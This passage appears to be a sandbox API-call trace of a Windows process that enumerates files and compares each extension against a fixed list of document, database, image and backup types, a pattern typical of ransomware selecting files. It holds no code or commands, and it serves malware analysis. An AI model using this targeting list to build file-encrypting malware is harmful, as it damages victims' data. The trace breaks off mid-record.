[0238.277] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0238.277] lstrlenW (lpString=".3fr") returned 4 [0238.277] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0238.277] lstrlenW (lpString=".3g2") returned 4 [0238.278] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0238.278] lstrlenW (lpString=".3gp") returned 4 [0238.278] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0238.278] lstrlenW (lpString=".7z") returned 3 [0238.278] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0238.278] lstrlenW (lpString=".accda") returned 6 [0238.278] lstrcmpiW (lpString1=".accda", lpString2="BE.GIF") returned -1 [0238.278] lstrlenW (lpString=".accdb") returned 6 [0238.278] lstrcmpiW (lpString1=".accdb", lpString2="BE.GIF") returned -1 [0238.278] lstrlenW (lpString=".accdc") returned 6 [0238.278] lstrcmpiW (lpString1=".accdc", lpString2="BE.GIF") returned -1 [0238.278] lstrlenW (lpString=".accde") returned 6 [0238.278] lstrcmpiW (lpString1=".accde", lpString2="BE.GIF") returned -1 [0238.278] lstrlenW (lpString=".accdt") returned 6 [0238.279] lstrcmpiW (lpString1=".accdt", lpString2="BE.GIF") returned -1 [0238.279] lstrlenW (lpString=".accdw") returned 6 [0238.279] lstrcmpiW (lpString1=".accdw", lpString2="BE.GIF") returned -1 [0238.279] lstrlenW (lpString=".adb") returned 4 [0238.279] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0238.279] lstrlenW (lpString=".adp") returned 4 [0238.279] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0238.279] lstrlenW (lpString=".ai") returned 3 [0238.279] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0238.279] lstrlenW (lpString=".ai3") returned 4 [0238.279] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0238.279] lstrlenW (lpString=".ai4") returned 4 [0238.279] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0238.279] lstrlenW (lpString=".ai5") returned 4 [0238.280] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0238.280] lstrlenW (lpString=".ai6") returned 4 [0238.280] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0238.280] lstrlenW (lpString=".ai7") returned 4 [0238.280] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0238.280] lstrlenW (lpString=".ai8") returned 4 [0238.280] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0238.280] lstrlenW (lpString=".anim") returned 5 [0238.280] lstrcmpiW (lpString1=".anim", lpString2="E.GIF") returned -1 [0238.280] lstrlenW (lpString=".arw") returned 4 [0238.280] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0238.280] lstrlenW (lpString=".as") returned 3 [0238.281] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0238.281] lstrlenW (lpString=".asa") returned 4 [0238.281] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0238.281] lstrlenW (lpString=".asc") returned 4 [0238.281] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0238.281] lstrlenW (lpString=".ascx") returned 5 [0238.281] lstrcmpiW (lpString1=".ascx", lpString2="E.GIF") returned -1 [0238.281] lstrlenW (lpString=".asm") returned 4 [0238.281] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0238.281] lstrlenW (lpString=".asmx") returned 5 [0238.281] lstrcmpiW (lpString1=".asmx", lpString2="E.GIF") returned -1 [0238.281] lstrlenW (lpString=".asp") returned 4 [0238.281] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0238.282] lstrlenW (lpString=".aspx") returned 5 [0238.282] lstrcmpiW (lpString1=".aspx", lpString2="E.GIF") returned -1 [0238.282] lstrlenW (lpString=".asr") returned 4 [0238.282] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0238.282] lstrlenW (lpString=".asx") returned 4 [0238.282] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0238.282] lstrlenW (lpString=".avi") returned 4 [0238.282] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0238.282] lstrlenW (lpString=".avs") returned 4 [0238.282] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0238.282] lstrlenW (lpString=".backup") returned 7 [0238.282] lstrcmpiW (lpString1=".backup", lpString2="OBE.GIF") returned -1 [0238.282] lstrlenW (lpString=".bak") returned 4 [0238.282] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0238.283] lstrlenW (lpString=".bay") returned 4 [0238.283] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0238.283] lstrlenW (lpString=".bd") returned 3 [0238.283] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0238.283] lstrlenW (lpString=".bin") returned 4 [0238.283] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0238.283] lstrlenW (lpString=".bmp") returned 4 [0238.283] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0238.283] lstrlenW (lpString=".bz2") returned 4 [0238.283] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0238.283] lstrlenW (lpString=".c") returned 2 [0238.283] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0238.283] lstrlenW (lpString=".cdr") returned 4 [0238.284] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0238.665] lstrlenW (lpString=".cer") returned 4 [0238.665] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0238.665] lstrlenW (lpString=".cf") returned 3 [0238.665] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0238.665] lstrlenW (lpString=".cfc") returned 4 [0238.665] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0238.665] lstrlenW (lpString=".cfm") returned 4 [0238.666] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0238.666] lstrlenW (lpString=".cfml") returned 5 [0238.666] lstrcmpiW (lpString1=".cfml", lpString2="E.GIF") returned -1 [0238.666] lstrlenW (lpString=".cfu") returned 4 [0238.666] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0238.666] lstrlenW (lpString=".chm") returned 4 [0238.666] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0238.666] lstrlenW (lpString=".cin") returned 4 [0238.666] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0238.666] lstrlenW (lpString=".class") returned 6 [0238.666] lstrcmpiW (lpString1=".class", lpString2="BE.GIF") returned -1 [0238.666] lstrlenW (lpString=".clx") returned 4 [0238.666] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0238.666] lstrlenW (lpString=".config") returned 7 [0238.666] lstrcmpiW (lpString1=".config", lpString2="OBE.GIF") returned -1 [0238.667] lstrlenW (lpString=".cpp") returned 4 [0238.667] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0238.667] lstrlenW (lpString=".cr2") returned 4 [0238.667] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0238.667] lstrlenW (lpString=".crt") returned 4 [0238.667] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0238.667] lstrlenW (lpString=".crw") returned 4 [0238.667] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0238.667] lstrlenW (lpString=".cs") returned 3 [0238.667] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0238.667] lstrlenW (lpString=".css") returned 4 [0238.667] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0238.667] lstrlenW (lpString=".csv") returned 4 [0238.668] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".cub") returned 4 [0238.668] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".dae") returned 4 [0238.668] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".dat") returned 4 [0238.668] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".db") returned 3 [0238.668] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0238.668] lstrlenW (lpString=".dbf") returned 4 [0238.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".dbx") returned 4 [0238.668] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0238.668] lstrlenW (lpString=".dc3") returned 4 [0238.668] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".dcm") returned 4 [0238.669] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".dcr") returned 4 [0238.669] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".der") returned 4 [0238.669] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".dib") returned 4 [0238.669] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".dic") returned 4 [0238.669] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0238.669] lstrlenW (lpString=".dif") returned 4 [0238.669] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0238.670] lstrlenW (lpString=".divx") returned 5 [0238.670] lstrcmpiW (lpString1=".divx", lpString2="E.GIF") returned -1 [0238.670] lstrlenW (lpString=".djvu") returned 5 [0238.670] lstrcmpiW (lpString1=".djvu", lpString2="E.GIF") returned -1 [0238.670] lstrlenW (lpString=".dng") returned 4 [0238.670] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0238.670] lstrlenW (lpString=".doc") returned 4 [0238.670] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0238.670] lstrlenW (lpString=".docm") returned 5 [0238.670] lstrcmpiW (lpString1=".docm", lpString2="E.GIF") returned -1 [0238.670] lstrlenW (lpString=".docx") returned 5 [0238.670] lstrcmpiW (lpString1=".docx", lpString2="E.GIF") returned -1 [0238.670] lstrlenW (lpString=".dot") returned 4 [0238.670] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0238.671] lstrlenW (lpString=".dotm") returned 5 [0238.671] lstrcmpiW (lpString1=".dotm", lpString2="E.GIF") returned -1 [0238.671] lstrlenW (lpString=".dotx") returned 5 [0238.671] lstrcmpiW (lpString1=".dotx", lpString2="E.GIF") returned -1 [0238.671] lstrlenW (lpString=".dpx") returned 4 [0238.671] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0238.671] lstrlenW (lpString=".dqy") returned 4 [0238.671] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0238.671] lstrlenW (lpString=".dsn") returned 4 [0238.671] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0238.671] lstrlenW (lpString=".dt") returned 3 [0238.671] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0238.672] lstrlenW (lpString=".dtd") returned 4 [0238.672] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0238.672] lstrlenW (lpString=".dwg") returned 4 [0238.672] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0238.672] lstrlenW (lpString=".dwt") returned 4 [0238.672] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0238.672] lstrlenW (lpString=".dx") returned 3 [0238.672] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0238.672] lstrlenW (lpString=".dxf") returned 4 [0238.672] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0238.672] lstrlenW (lpString=".edml") returned 5 [0238.672] lstrcmpiW (lpString1=".edml", lpString2="E.GIF") returned -1 [0238.672] lstrlenW (lpString=".efd") returned 4 [0238.672] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".elf") returned 4 [0238.673] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".emf") returned 4 [0238.673] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".emz") returned 4 [0238.673] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".epf") returned 4 [0238.673] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".eps") returned 4 [0238.673] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0238.673] lstrlenW (lpString=".epsf") returned 5 [0238.673] lstrcmpiW (lpString1=".epsf", lpString2="E.GIF") returned -1 [0238.673] lstrlenW (lpString=".epsp") returned 5 [0238.673] lstrcmpiW (lpString1=".epsp", lpString2="E.GIF") returned -1 [0238.673] lstrlenW (lpString=".erf") returned 4 [0238.674] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0238.674] lstrlenW (lpString=".exr") returned 4 [0238.675] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0238.675] lstrlenW (lpString=".f4v") returned 4 [0238.675] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0238.675] lstrlenW (lpString=".fido") returned 5 [0238.675] lstrcmpiW (lpString1=".fido", lpString2="E.GIF") returned -1 [0238.675] lstrlenW (lpString=".flm") returned 4 [0238.675] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0238.675] lstrlenW (lpString=".flv") returned 4 [0238.675] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0238.675] lstrlenW (lpString=".frm") returned 4 [0238.675] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0238.676] lstrlenW (lpString=".fxg") returned 4 [0238.676] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0238.676] lstrlenW (lpString=".geo") returned 4 [0238.676] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0238.676] lstrlenW (lpString=".gif") returned 4 [0238.676] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0238.676] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x7ff, dwReserved1=0x4000, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0238.676] lstrlenW (lpString="bg_Casual.gif") returned 13 [0238.676] lstrlenW (lpString=".1cd") returned 4 [0238.676] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0238.676] lstrlenW (lpString=".3ds") returned 4 [0238.677] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0238.677] lstrlenW (lpString=".3fr") returned 4 [0238.677] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0238.677] lstrlenW (lpString=".3g2") returned 4 [0238.677] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0238.677] lstrlenW (lpString=".3gp") returned 4 [0238.677] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0238.677] lstrlenW (lpString=".7z") returned 3 [0238.677] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0238.677] lstrlenW (lpString=".accda") returned 6 [0238.677] lstrcmpiW (lpString1=".accda", lpString2="al.gif") returned -1 [0238.677] lstrlenW (lpString=".accdb") returned 6 [0238.677] lstrcmpiW (lpString1=".accdb", lpString2="al.gif") returned -1 [0238.677] lstrlenW (lpString=".accdc") returned 6 [0238.678] lstrcmpiW (lpString1=".accdc", lpString2="al.gif") returned -1 [0238.678] lstrlenW (lpString=".accde") returned 6 [0238.678] lstrcmpiW (lpString1=".accde", lpString2="al.gif") returned -1 [0238.678] lstrlenW (lpString=".accdt") returned 6 [0238.678] lstrcmpiW (lpString1=".accdt", lpString2="al.gif") returned -1 [0238.678] lstrlenW (lpString=".accdw") returned 6 [0238.678] lstrcmpiW (lpString1=".accdw", lpString2="al.gif") returned -1 [0238.678] lstrlenW (lpString=".adb") returned 4 [0238.678] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0238.678] lstrlenW (lpString=".adp") returned 4 [0238.678] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0238.678] lstrlenW (lpString=".ai") returned 3 [0238.678] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0238.678] lstrlenW (lpString=".ai3") returned 4 [0238.679] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".ai4") returned 4 [0238.679] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".ai5") returned 4 [0238.679] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".ai6") returned 4 [0238.679] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".ai7") returned 4 [0238.679] lstrcmpiW (lpString1=".ai7", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".ai8") returned 4 [0238.679] lstrcmpiW (lpString1=".ai8", lpString2=".gif") returned -1 [0238.679] lstrlenW (lpString=".anim") returned 5 [0238.679] lstrcmpiW (lpString1=".anim", lpString2="l.gif") returned -1 [0238.679] lstrlenW (lpString=".arw") returned 4 [0238.680] lstrcmpiW (lpString1=".arw", lpString2=".gif") returned -1 [0238.680] lstrlenW (lpString=".as") returned 3 [0238.680] lstrcmpiW (lpString1=".as", lpString2="gif") returned -1 [0238.680] lstrlenW (lpString=".asa") returned 4 [0238.680] lstrcmpiW (lpString1=".asa", lpString2=".gif") returned -1 [0238.680] lstrlenW (lpString=".asc") returned 4 [0238.680] lstrcmpiW (lpString1=".asc", lpString2=".gif") returned -1 [0238.680] lstrlenW (lpString=".ascx") returned 5 [0238.680] lstrcmpiW (lpString1=".ascx", lpString2="l.gif") returned -1 [0238.680] lstrlenW (lpString=".asm") returned 4 [0238.680] lstrcmpiW (lpString1=".asm", lpString2=".gif") returned -1 [0238.680] lstrlenW (lpString=".asmx") returned 5 [0238.680] lstrcmpiW (lpString1=".asmx", lpString2="l.gif") returned -1 [0238.680] lstrlenW (lpString=".asp") returned 4 [0238.680] lstrcmpiW (lpString1=".asp", lpString2=".gif") returned -1 [0238.680] lstrlenW (lpString=".aspx") returned 5 [0238.681] lstrcmpiW (lpString1=".aspx", lpString2="l.gif") returned -1 [0238.681] lstrlenW (lpString=".asr") returned 4 [0238.681] lstrcmpiW (lpString1=".asr", lpString2=".gif") returned -1 [0238.681] lstrlenW (lpString=".asx") returned 4 [0238.681] lstrcmpiW (lpString1=".asx", lpString2=".gif") returned -1 [0238.681] lstrlenW (lpString=".avi") returned 4 [0238.681] lstrcmpiW (lpString1=".avi", lpString2=".gif") returned -1 [0238.681] lstrlenW (lpString=".avs") returned 4 [0238.681] lstrcmpiW (lpString1=".avs", lpString2=".gif") returned -1 [0238.681] lstrlenW (lpString=".backup") returned 7 [0238.681] lstrcmpiW (lpString1=".backup", lpString2="ual.gif") returned -1 [0238.681] lstrlenW (lpString=".bak") returned 4 [0238.682] lstrcmpiW (lpString1=".bak", lpString2=".gif") returned -1 [0238.682] lstrlenW (lpString=".bay") returned 4 [0238.682] lstrcmpiW (lpString1=".bay", lpString2=".gif") returned -1 [0238.682] lstrlenW (lpString=".bd") returned 3 [0238.682] lstrcmpiW (lpString1=".bd", lpString2="gif") returned -1 [0238.682] lstrlenW (lpString=".bin") returned 4 [0238.682] lstrcmpiW (lpString1=".bin", lpString2=".gif") returned -1 [0238.682] lstrlenW (lpString=".bmp") returned 4 [0238.682] lstrcmpiW (lpString1=".bmp", lpString2=".gif") returned -1 [0238.682] lstrlenW (lpString=".bz2") returned 4 [0238.682] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0238.682] lstrlenW (lpString=".c") returned 2 [0238.682] lstrcmpiW (lpString1=".c", lpString2="if") returned -1 [0238.682] lstrlenW (lpString=".cdr") returned 4 [0238.683] lstrcmpiW (lpString1=".cdr", lpString2=".gif") returned -1 [0238.683] lstrlenW (lpString=".cer") returned 4 [0238.683] lstrcmpiW (lpString1=".cer", lpString2=".gif") returned -1 [0238.683] lstrlenW (lpString=".cf") returned 3 [0238.683] lstrcmpiW (lpString1=".cf", lpString2="gif") returned -1 [0238.683] lstrlenW (lpString=".cfc") returned 4 [0238.683] lstrcmpiW (lpString1=".cfc", lpString2=".gif") returned -1 [0238.683] lstrlenW (lpString=".cfm") returned 4 [0238.683] lstrcmpiW (lpString1=".cfm", lpString2=".gif") returned -1 [0238.683] lstrlenW (lpString=".cfml") returned 5 [0238.683] lstrcmpiW (lpString1=".cfml", lpString2="l.gif") returned -1 [0238.683] lstrlenW (lpString=".cfu") returned 4 [0238.683] lstrcmpiW (lpString1=".cfu", lpString2=".gif") returned -1 [0238.683] lstrlenW (lpString=".chm") returned 4 [0238.684] lstrcmpiW (lpString1=".chm", lpString2=".gif") returned -1 [0238.684] lstrlenW (lpString=".cin") returned 4 [0238.684] lstrcmpiW (lpString1=".cin", lpString2=".gif") returned -1 [0238.684] lstrlenW (lpString=".class") returned 6 [0238.684] lstrcmpiW (lpString1=".class", lpString2="al.gif") returned -1 [0238.684] lstrlenW (lpString=".clx") returned 4 [0238.684] lstrcmpiW (lpString1=".clx", lpString2=".gif") returned -1 [0238.684] lstrlenW (lpString=".config") returned 7 [0238.684] lstrcmpiW (lpString1=".config", lpString2="ual.gif") returned -1 [0238.684] lstrlenW (lpString=".cpp") returned 4 [0238.684] lstrcmpiW (lpString1=".cpp", lpString2=".gif") returned -1 [0238.684] lstrlenW (lpString=".cr2") returned 4 [0238.684] lstrcmpiW (lpString1=".cr2", lpString2=".gif") returned -1 [0238.685] lstrlenW (lpString=".crt") returned 4 [0238.685] lstrcmpiW (lpString1=".crt", lpString2=".gif") returned -1 [0238.685] lstrlenW (lpString=".crw") returned 4 [0238.685] lstrcmpiW (lpString1=".crw", lpString2=".gif") returned -1 [0238.685] lstrlenW (lpString=".cs") returned 3 [0238.685] lstrcmpiW (lpString1=".cs", lpString2="gif") returned -1 [0238.685] lstrlenW (lpString=".css") returned 4 [0238.685] lstrcmpiW (lpString1=".css", lpString2=".gif") returned -1 [0238.685] lstrlenW (lpString=".csv") returned 4 [0238.685] lstrcmpiW (lpString1=".csv", lpString2=".gif") returned -1 [0238.685] lstrlenW (lpString=".cub") returned 4 [0238.686] lstrcmpiW (lpString1=".cub", lpString2=".gif") returned -1 [0238.686] lstrlenW (lpString=".dae") returned 4 [0238.686] lstrcmpiW (lpString1=".dae", lpString2=".gif") returned -1 [0238.686] lstrlenW (lpString=".dat") returned 4 [0238.686] lstrcmpiW (lpString1=".dat", lpString2=".gif") returned -1 [0238.686] lstrlenW (lpString=".db") returned 3 [0238.686] lstrcmpiW (lpString1=".db", lpString2="gif") returned -1 [0238.686] lstrlenW (lpString=".dbf") returned 4 [0238.686] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0238.686] lstrlenW (lpString=".dbx") returned 4 [0238.686] lstrcmpiW (lpString1=".dbx", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dc3") returned 4 [0238.687] lstrcmpiW (lpString1=".dc3", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dcm") returned 4 [0238.687] lstrcmpiW (lpString1=".dcm", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dcr") returned 4 [0238.687] lstrcmpiW (lpString1=".dcr", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".der") returned 4 [0238.687] lstrcmpiW (lpString1=".der", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dib") returned 4 [0238.687] lstrcmpiW (lpString1=".dib", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dic") returned 4 [0238.687] lstrcmpiW (lpString1=".dic", lpString2=".gif") returned -1 [0238.687] lstrlenW (lpString=".dif") returned 4 [0238.688] lstrcmpiW (lpString1=".dif", lpString2=".gif") returned -1 [0238.688] lstrlenW (lpString=".divx") returned 5 [0238.688] lstrcmpiW (lpString1=".divx", lpString2="l.gif") returned -1 [0238.688] lstrlenW (lpString=".djvu") returned 5 [0238.688] lstrcmpiW (lpString1=".djvu", lpString2="l.gif") returned -1 [0238.688] lstrlenW (lpString=".dng") returned 4 [0238.688] lstrcmpiW (lpString1=".dng", lpString2=".gif") returned -1 [0238.688] lstrlenW (lpString=".doc") returned 4 [0238.688] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0238.688] lstrlenW (lpString=".docm") returned 5 [0238.688] lstrcmpiW (lpString1=".docm", lpString2="l.gif") returned -1 [0238.688] lstrlenW (lpString=".docx") returned 5 [0238.688] lstrcmpiW (lpString1=".docx", lpString2="l.gif") returned -1 [0238.689] lstrlenW (lpString=".dot") returned 4 [0238.689] lstrcmpiW (lpString1=".dot", lpString2=".gif") returned -1 [0238.689] lstrlenW (lpString=".dotm") returned 5 [0238.689] lstrcmpiW (lpString1=".dotm", lpString2="l.gif") returned -1 [0238.689] lstrlenW (lpString=".dotx") returned 5 [0238.689] lstrcmpiW (lpString1=".dotx", lpString2="l.gif") returned -1 [0238.689] lstrlenW (lpString=".dpx") returned 4 [0238.689] lstrcmpiW (lpString1=".dpx", lpString2=".gif") returned -1 [0238.689] lstrlenW (lpString=".dqy") returned 4 [0238.689] lstrcmpiW (lpString1=".dqy", lpString2=".gif") returned -1 [0238.689] lstrlenW (lpString=".dsn") returned 4 [0238.690] lstrcmpiW (lpString1=".dsn", lpString2=".gif") returned -1 [0238.690] lstrlenW (lpString=".dt") returned 3 [0238.690] lstrcmpiW (lpString1=".dt", lpString2="gif") returned -1 [0238.690] lstrlenW (lpString=".dtd") returned 4 [0238.690] lstrcmpiW (lpString1=".dtd", lpString2=".gif") returned -1 [0238.690] lstrlenW (lpString=".dwg") returned 4 [0238.690] lstrcmpiW (lpString1=".dwg", lpString2=".gif") returned -1 [0238.690] lstrlenW (lpString=".dwt") returned 4 [0238.690] lstrcmpiW (lpString1=".dwt", lpString2=".gif") returned -1 [0238.690] lstrlenW (lpString=".dx") returned 3 [0238.691] lstrcmpiW (lpString1=".dx", lpString2="gif") returned -1 [0238.691] lstrlenW (lpString=".dxf") returned 4 [0238.691] lstrcmpiW (lpString1=".dxf", lpString2=".gif") returned -1 [0238.691] lstrlenW (lpString=".edml") returned 5 [0238.691] lstrcmpiW (lpString1=".edml", lpString2="l.gif") returned -1 [0238.691] lstrlenW (lpString=".efd") returned 4 [0238.691] lstrcmpiW (lpString1=".efd", lpString2=".gif") returned -1 [0238.691] lstrlenW (lpString=".elf") returned 4 [0238.691] lstrcmpiW (lpString1=".elf", lpString2=".gif") returned -1 [0238.691] lstrlenW (lpString=".emf") returned 4 [0238.691] lstrcmpiW (lpString1=".emf", lpString2=".gif") returned -1 [0238.691] lstrlenW (lpString=".emz") returned 4 [0238.691] lstrcmpiW (lpString1=".emz", lpString2=".gif") returned -1 [0238.691] lstrlenW (lpString=".epf") returned 4 [0238.692] lstrcmpiW (lpString1=".epf", lpString2=".gif") returned -1 [0238.692] lstrlenW (lpString=".eps") returned 4 [0238.692] lstrcmpiW (lpString1=".eps", lpString2=".gif") returned -1 [0238.692] lstrlenW (lpString=".epsf") returned 5 [0238.692] lstrcmpiW (lpString1=".epsf", lpString2="l.gif") returned -1 [0238.692] lstrlenW (lpString=".epsp") returned 5 [0238.692] lstrcmpiW (lpString1=".epsp", lpString2="l.gif") returned -1 [0238.692] lstrlenW (lpString=".erf") returned 4 [0238.692] lstrcmpiW (lpString1=".erf", lpString2=".gif") returned -1 [0238.692] lstrlenW (lpString=".exr") returned 4 [0238.692] lstrcmpiW (lpString1=".exr", lpString2=".gif") returned -1 [0238.692] lstrlenW (lpString=".f4v") returned 4 [0238.692] lstrcmpiW (lpString1=".f4v", lpString2=".gif") returned -1 [0238.693] lstrlenW (lpString=".fido") returned 5 [0238.693] lstrcmpiW (lpString1=".fido", lpString2="l.gif") returned -1 [0238.693] lstrlenW (lpString=".flm") returned 4 [0238.693] lstrcmpiW (lpString1=".flm", lpString2=".gif") returned -1 [0238.693] lstrlenW (lpString=".flv") returned 4 [0238.693] lstrcmpiW (lpString1=".flv", lpString2=".gif") returned -1 [0238.693] lstrlenW (lpString=".frm") returned 4 [0238.693] lstrcmpiW (lpString1=".frm", lpString2=".gif") returned -1 [0238.693] lstrlenW (lpString=".fxg") returned 4 [0238.693] lstrcmpiW (lpString1=".fxg", lpString2=".gif") returned -1 [0238.693] lstrlenW (lpString=".geo") returned 4 [0238.693] lstrcmpiW (lpString1=".geo", lpString2=".gif") returned -1 [0238.694] lstrlenW (lpString=".gif") returned 4 [0238.694] lstrcmpiW (lpString1=".gif", lpString2=".gif") returned 0 [0238.694] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, 